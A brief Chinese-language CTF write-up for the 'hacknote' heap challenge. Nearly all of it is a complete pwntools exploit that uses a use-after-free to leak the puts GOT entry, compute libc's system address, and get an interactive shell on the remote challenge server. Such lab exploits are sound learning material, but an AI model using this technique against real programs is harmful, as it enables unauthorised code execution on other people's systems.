这个题我以前做过 只不过这次没有了后门函数 下面这个链接是我以前做的题的链接
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/use_after_free/
有了上次的经验 这次做的还比较顺利
思路其实差不多的
from pwn import*
io=remote("111.198.29.45",52641)
#io=process("./hacknote")
elf=ELF("./hacknote")
libc=ELF("./libc6-i386_2.23-0ubuntu10_amd64.so")
#context.log_level="debug"
print_addr=0x0804862B
#get_addr=elf.symbols['magic']
def add(size,content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Note size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)
def dele(index):
io.recvuntil("Your choice :")
io.sendline("2")
io.recvuntil("Index :")
io.sendline(str(index))
def show(index):
io.recvuntil("Your choice :")
io.sendline("3")
io.recvuntil("Index :")
io.sendline(str(index))
if __name__ == '__main__':
add(0x20,'aaaa')
add(0x20,'bbbb')
dele(0)
dele(1)
payload=p32(print_addr)+p32(elf.got['puts'])
add(8,payload)
show(0)
puts_addr=u32(io.recv()[:4])
libc_base_addr=puts_addr-libc.sym['puts']
system_addr=libc_base_addr+libc.sym['system']
log.success("puts_addr"+hex(puts_addr))
log.success("libc_base_addr"+hex(libc_base_addr))
log.success("system_addr"+hex(system_addr))
dele(2)
#sh_addr=libc_base_addr+libc.search("/bin/sh").next()
payload=p32(system_addr)+";sh\x00"
add(8,payload)
show(0)
io.interactive()
io.close()